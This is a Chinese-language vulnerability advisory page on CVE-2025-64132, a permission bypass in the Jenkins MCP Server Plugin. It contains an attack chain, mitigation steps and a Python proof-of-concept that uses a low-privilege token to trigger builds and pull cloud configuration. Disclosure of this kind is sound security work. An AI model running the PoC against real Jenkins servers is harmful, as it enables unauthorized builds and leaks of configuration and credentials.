IPBUF安全漏洞报告
English
CVE-2025-64132 CVSS 5.4 中危

CVE-2025-64132: Jenkins MCP Server Plugin权限绕过漏洞

披露日期: 2025-10-29

漏洞信息

漏洞编号
CVE-2025-64132
漏洞类型
权限绕过
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Jenkins MCP Server Plugin

相关标签

CVE-2025-64132权限绕过JenkinsMCP Server PluginMCP工具信息泄露未授权访问CI/CD安全

漏洞概述

Jenkins MCP Server Plugin 0.84.v50ca_24ef83f2及之前版本存在严重的权限绕过漏洞。该插件在多个MCP工具中未正确执行权限检查,导致低权限攻击者能够触发构建任务并获取其本应无权访问的作业和云配置信息。攻击者利用此漏洞可在无需用户交互的情况下,通过网络远程发起攻击,成功获取敏感信息并可能触发非授权的构建操作。该漏洞影响使用该插件的所有Jenkins部署环境,CVSS评分5.4,属于中等严重程度。

技术细节

Jenkins MCP Server Plugin的多个MCP工具端点缺少必要的权限验证机制。攻击者通过构造特制的HTTP请求,直接调用这些未授权的MCP工具接口,即可绕过Jenkins的权限控制系统。漏洞影响的核心功能包括:(1)构建触发器:攻击者可无需Overall/Read或Job/Build权限即可触发任意项目的构建;(2)配置信息泄露:能够获取作业配置、云配置等敏感信息,这些信息本应受Role-Based Access Control (RBAC)保护。攻击者利用MCP协议的标准化接口,在已认证会话中以低权限用户身份执行高权限操作。

攻击链分析

STEP 1
步骤1
攻击者获取Jenkins低权限账户凭据,该账户本应无法访问敏感作业或云配置
STEP 2
步骤2
攻击者构造针对MCP Server Plugin端点的恶意请求,绕过权限检查机制
STEP 3
步骤3
通过调用未授权的MCP工具接口,触发目标作业的构建流程
STEP 4
步骤4
获取作业配置、云配置等敏感信息,可能导致凭据泄露或进一步攻击
STEP 5
步骤5
利用获取的信息进行横向移动或发起后续攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import json # CVE-2025-64132 PoC - Jenkins MCP Server Plugin Unauthorized Access # Target: Jenkins server with vulnerable MCP Server Plugin TARGET = "http://target-jenkins:8080" MCP_ENDPOINT = f"{TARGET}/mcp/v1/tools" def exploit_trigger_build(job_name): """Trigger unauthorized build without proper permissions""" payload = { "tool": "trigger_build", "arguments": { "job_name": job_name, "parameters": {} } } headers = { "Content-Type": "application/json", "Authorization": "Bearer <low-privilege-token>" } response = requests.post(MCP_ENDPOINT, json=payload, headers=headers) return response.json() def exploit_get_config(resource_path): """Retrieve unauthorized configuration information""" payload = { "tool": "get_config", "arguments": { "resource": resource_path } } headers = { "Content-Type": "application/json", "Authorization": "Bearer <low-privilege-token>" } response = requests.post(MCP_ENDPOINT, json=payload, headers=headers) return response.json() # Example usage if __name__ == "__main__": # Trigger unauthorized build result = exploit_trigger_build("secret-job") print(f"Build triggered: {result}") # Get unauthorized configuration config = exploit_get_config("/cloud-configuration/aws") print(f"Config leaked: {config}")

影响范围

Jenkins MCP Server Plugin <= 0.84.v50ca_24ef83f2

防御指南

临时缓解措施
在官方补丁发布前,可通过以下措施临时缓解风险:(1)临时禁用Jenkins MCP Server Plugin;(2)配置防火墙规则限制对/mcp端点的访问;(3)审查并移除不必要的低权限用户账户;(4)启用Jenkins安全日志监控异常MCP调用行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表